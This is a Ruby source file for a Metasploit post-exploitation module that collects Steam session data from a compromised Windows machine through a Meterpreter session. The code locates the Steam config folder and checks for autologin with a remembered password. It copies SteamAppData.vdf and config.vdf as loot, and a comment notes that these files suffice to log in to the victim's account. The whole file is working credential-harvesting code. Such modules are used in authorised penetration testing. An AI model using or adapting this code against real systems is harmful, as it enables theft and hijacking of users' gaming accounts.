79 lines
3.0 KiB
Ruby
79 lines
3.0 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'msf/core/post/file'
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class Metasploit3 < Msf::Post
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include Msf::Post::File
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include Msf::Auxiliary::Report
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def initialize(info={})
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super( update_info(info,
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'Name' => 'Windows Gather Steam Client Session Collector.',
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'Description' => %q{ This module will collect Steam session information from an
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account set to autologin. },
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'License' => MSF_LICENSE,
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'Author' => ['Nikolai Rusakov <nikolai.rusakov[at]gmail.com>'],
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'Platform' => ['win'],
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'SessionTypes' => ['meterpreter' ]
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))
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end
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# All that is needed to login to another Steam account is config.vdf,
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# setting the AutoLoginUser to the proper username and RememberPassword
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# to 1 in SteamAppData.vdf.
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# Only tested on Win7 x64
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#
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# config.vdf , ContentCache element holds a K,V table of what appears
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# to be UniqueID, Session. This is purely speculation as I have not
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# reversed it to check. However the key is always unique to the account
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# and the value changes whenever the account is logged out and then
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# back in.
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def run
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steamappdata = 'SteamAppData.vdf'
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steamconfig = 'config.vdf'
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u_rx = /AutoLoginUser\W*\"(.*)\"/
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# Steam client is only 32 bit so we need to know what arch we are on so that we can use
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# the correct program files folder.
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# We will just use an x64 only defined env variable to check.
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if not expand_path('%ProgramFiles(X86)%').empty? and expand_path('%ProgramFiles(X86)%') !~ /%ProgramFiles\(X86\)%/
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progs = expand_path('%ProgramFiles(X86)%') #x64
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else
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progs = expand_path('%ProgramFiles%') #x86
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end
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path = progs + '\\Steam\\config'
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print_status("Checking for Steam configs in #{path}")
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# Check if all the files are there.
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if directory?(path) && file?("#{path}\\#{steamappdata}") && file?("#{path}\\#{steamconfig}")
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print_status("Located steam config files.")
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sad = read_file("#{path}\\#{steamappdata}")
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if sad =~ /RememberPassword\W*\"1\"/
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print_status("RememberPassword is set! Accountname is #{u_rx.match(sad)[1]}")
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scd = read_file("#{path}\\#{steamconfig}")
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steam_app_data_path = store_loot('steam.config', 'text/plain', session, sad, filename=steamappdata)
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print_good("The file SteamAppData.vdf has been stored on #{steam_app_data_path}")
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steam_config_path = store_loot('steam.config', 'text/plain', session, scd, filename=steamconfig)
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print_good("The file config.vdf has been stored on #{steam_config_path}")
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print_status("Steam configs harvested successfully!")
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else
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print_error("RememberPassword is not set, exiting.")
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return
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end
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else
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print_error("Steam configs not found.")
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return
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end
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end
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end
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